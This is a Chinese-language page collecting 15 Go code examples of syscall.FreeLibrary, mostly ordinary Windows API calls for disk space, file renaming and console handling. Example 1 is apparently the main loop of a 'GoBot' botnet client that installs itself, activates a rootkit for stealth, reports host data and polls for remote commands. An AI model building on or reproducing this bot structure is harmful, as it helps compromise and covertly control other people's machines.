本文整理匯總了Golang中syscall.FreeLibrary函數的典型用法代碼示例。如果您正苦於以下問題:Golang FreeLibrary函數的具體用法?Golang FreeLibrary怎麽用?Golang FreeLibrary使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。
在下文中一共展示了FreeLibrary函數的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Golang代碼示例。
示例1: main
func main() {
defer syscall.FreeLibrary(kernel32)
defer syscall.FreeLibrary(user32)
if SingleInstance != false {
err := singleInstance(InstanceKey)
if err != nil {
}
}
DebugLog("Started New Instance...")
DebugLog("Generating HWID: " + getUID())
if USE_Install {
DebugLog("Installing GoBot...")
Install()
}
if USE_Stealth && USE_Install {
DebugLog("Stealth Installing GoBot...")
rootkit.Stealthify()
}
if USE_Rootkit && USE_Stealth && USE_Install {
DebugLog("Installing GoBot and Activating Rootkit...")
go rootkit.Install()
}
//DebugLog("Sleeping for 1 minute...")
//time.Sleep(60 * time.Second)
httpPOSTInformation()
for {
time.Sleep(ReconnectTime * time.Second)
httpGETCommands()
}
}
示例2: main
func main() {
defer syscall.FreeLibrary(kernel32)
defer syscall.FreeLibrary(user32)
//fmt.Printf("Retern: %d\n", MessageBox("Done Title", "This test is Done.", MB_YESNOCANCEL))
num := MessageBox("Done Title", "This test is Done.", MB_YESNOCANCEL)
if num == 6 {
fmt.Printf("Return %d\n", num)
} else {
fmt.Printf("others")
}
}
示例3: Initdriver
func (jst *IDCGeneral) Initdriver(pin *driverlayer.DriverArg) {
var err error
jst.termdll, err = syscall.LoadLibrary("third_party/general/sdtapi.dll")
if err != nil {
panic("load library error:" + err.Error())
}
f := func(n string, res *uintptr) bool {
*res, err = syscall.GetProcAddress(jst.termdll, n)
if err != nil {
syscall.FreeLibrary(jst.termdll)
panic("load proc " + n + " error:" + err.Error())
}
return true
}
//獲得dll的各種handle
if f("SDT_OpenPort", &jst.initcomm) &&
f("SDT_ClosePort", &jst.closecomm) &&
f("SDT_StartFindIDCard", &jst.findcard) &&
f("SDT_SelectIDCard", &jst.selectcard) &&
f("SDT_ReadBaseMsg", &jst.readbasemsg) {
} else {
utils.Error("Init shensi Driver error...%s", err.Error())
}
}
示例4: DiskSpace
// Returns total and free bytes available in a directory.
// It returns free space available to the user (including quota limitations),
// so it can be lower than the free space of the disk.
func DiskSpace(path string) (total, free int64, err error) {
kernel32, err := syscall.LoadLibrary("Kernel32.dll")
if err != nil {
return
}
defer syscall.FreeLibrary(kernel32)
GetDiskFreeSpaceEx, err := syscall.GetProcAddress(
syscall.Handle(kernel32), "GetDiskFreeSpaceExW")
if err != nil {
return
}
lpFreeBytesAvailable := int64(0)
lpTotalNumberOfBytes := int64(0)
lpTotalNumberOfFreeBytes := int64(0)
r1, _, e1 := syscall.Syscall6(uintptr(GetDiskFreeSpaceEx), 4,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(path))),
uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = error(e1)
} else {
err = syscall.EINVAL
}
return
}
total = lpTotalNumberOfBytes
free = lpFreeBytesAvailable
return
}
示例5: FreeLibrary
func (p *Dll) FreeLibrary() error {
if p.IsDllLoaded() {
p.dllHandler = 0
return syscall.FreeLibrary(p.dllHandler)
}
return nil
}
示例6: main
func main() {
//首先,準備輸入參數, GetDiskFreeSpaceEx需要4個參數, 可查MSDN
// dir := "C:"
lpFreeBytesAvailable := int64(0) //注意類型需要跟API的類型相符
lpTotalNumberOfBytes := int64(0)
lpTotalNumberOfFreeBytes := int64(0)
//獲取方法的引用
kernel32, err := syscall.LoadLibrary("Kernel32.dll") // 嚴格來說需要加上 defer syscall.FreeLibrary(kernel32)
if err != nil {
log.Println(err.Error())
}
defer syscall.FreeLibrary(kernel32)
GetDiskFreeSpaceEx, err := syscall.GetProcAddress(syscall.Handle(kernel32), "GetDiskFreeSpaceExW")
//執行之. 因為有4個參數,故取Syscall6才能放得下. 最後2個參數,自然就是0了
r, _, errno := syscall.Syscall6(uintptr(GetDiskFreeSpaceEx), 4,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),
uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)), 0, 0)
if errno != 0 {
log.Println(errno)
}
// 注意, errno並非error接口的, 不可能是nil
// 而且,根據MSDN的說明,返回值為0就fail, 不為0就是成功
if r != 0 {
log.Printf("Free %dmb", lpTotalNumberOfFreeBytes/1024/1024)
}
}
示例7: Rename
func Rename(src, dst string) error {
kernel32, err := syscall.LoadLibrary("kernel32.dll")
if err != nil {
return err
}
defer syscall.FreeLibrary(kernel32)
moveFileExUnicode, err := syscall.GetProcAddress(kernel32, "MoveFileExW")
if err != nil {
return err
}
srcString, err := syscall.UTF16PtrFromString(src)
if err != nil {
return err
}
dstString, err := syscall.UTF16PtrFromString(dst)
if err != nil {
return err
}
srcPtr := uintptr(unsafe.Pointer(srcString))
dstPtr := uintptr(unsafe.Pointer(dstString))
MOVEFILE_REPLACE_EXISTING := 0x1
flag := uintptr(MOVEFILE_REPLACE_EXISTING)
_, _, callErr := syscall.Syscall(uintptr(moveFileExUnicode), 3, srcPtr, dstPtr, flag)
if callErr != 0 {
return callErr
}
return nil
}
示例8: freeDiskSpaceBytes2
// *************************************************************************
// We can probably delete this, it is an alternative version in case we have
// problems with simpler version above
// *************************************************************************
func freeDiskSpaceBytes2(dir string) (uint64, error) {
kernel32, err := syscall.LoadLibrary("Kernel32.dll")
if err != nil {
log.Panic(err)
}
defer syscall.FreeLibrary(kernel32)
GetDiskFreeSpaceEx, err := syscall.GetProcAddress(syscall.Handle(kernel32), "GetDiskFreeSpaceExW")
if err != nil {
return 0, err
}
lpFreeBytesAvailable := int64(0)
lpTotalNumberOfBytes := int64(0)
lpTotalNumberOfFreeBytes := int64(0)
r, a, b := syscall.Syscall6(
uintptr(GetDiskFreeSpaceEx),
4,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),
uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)),
0,
0,
)
log.Print("Disk space:", r, a, b, lpFreeBytesAvailable, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes)
return uint64(lpFreeBytesAvailable), nil
}
示例9: Password
func Password(prompt string) (string, error) {
defer syscall.FreeLibrary(kernel32)
fmt.Print(prompt)
var pass string
if os.Getenv("BABUN_HOME") != "" {
fmt.Scanf("%s", &pass)
return pass, nil
}
var c rune
for c != '\r' {
var err error
c, err = getChar()
if err != nil {
return "", err
}
fmt.Print("*")
if c != '\r' {
pass += string(c)
}
}
fmt.Println()
return pass, nil
}
示例10: testFail
func testFail() {
h, err := syscall.LoadLibrary("msvcrt")
if err != nil {
fmt.Println(err)
return
}
defer syscall.FreeLibrary(h)
proc, err := syscall.GetProcAddress(h, "memcpy")
if err != nil {
fmt.Println(err)
return
}
// dst := unsafe.Pointer(uintptr(1))
// src := unsafe.Pointer(uintptr(2))
// count := unsafe.Pointer(uintptr(4))
dst := uintptr(1)
src := uintptr(2)
count := uintptr(3)
fmt.Println("test memcpy error in go...")
r, _, _ := syscall.Syscall(uintptr(proc), 3, dst, src, count)
fmt.Println(r)
fmt.Println("should not run here")
}
示例11: init
func init() {
k32, err := syscall.LoadLibrary("kernel32.dll")
if err != nil {
panic("LoadLibrary " + err.Error())
}
defer syscall.FreeLibrary(k32)
versionAddr, err = syscall.GetProcAddress(k32, "GetVersion")
}
示例12: init
func init() {
kernel32, loadErr := syscall.LoadLibrary("kernel32.dll")
if loadErr != nil {
fmt.Println("loadErr", loadErr)
}
defer syscall.FreeLibrary(kernel32)
_SetConsoleTitle, _ = syscall.GetProcAddress(kernel32, "SetConsoleTitleW")
}
示例13: init
func init() {
k32, err := syscall.LoadLibrary("kernel32.dll")
if err != nil {
panic("LoadLibrary " + err.Error())
}
defer syscall.FreeLibrary(k32)
nGetOverlappedResult = getProcAddr(k32, "GetOverlappedResult")
nCreateEvent = getProcAddr(k32, "CreateEventW")
nResetEvent = getProcAddr(k32, "ResetEvent")
}
示例14: main
func main() {
k32dll := syscall.MustLoadDLL("kernel32.dll")
defer syscall.FreeLibrary(k32dll.Handle)
getVersion, err := k32dll.FindProc("GetVersion")
CheckError(err)
ret, _, _ := getVersion.Call()
printVersion(uint32(ret))
}
示例15: initialize
func initialize() {
// 初始化蛇的位置和方向、首尾;初始化隨機數
head, tail = loct{4, 4}, loct{4, 4}
lead, size = 'R', 1
area[4][4] = 'H'
rand.Seed(int64(time.Now().Unix()))
defer syscall.FreeLibrary(kernel32)
SetConsoleTextAttribute(hCon, 0x0075)
// 輸出初始畫麵
fmt.Println(" ^0^$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$^0^ ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" || || ")
fmt.Println(" ^0^$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$^0^ ")
// 使用一個單獨的go程來捕捉鍵盤的動作,因為是單獨的,不怕阻塞
go func() {
for { // 函數隻寫入lead,外部隻讀取lead,無需設鎖
switch byte(C.direct()) {
case 72:
lead = 'U'
case 75:
lead = 'L'
case 77:
lead = 'R'
case 80:
lead = 'D'
case 32:
lead = 'P'
}
}
}()
}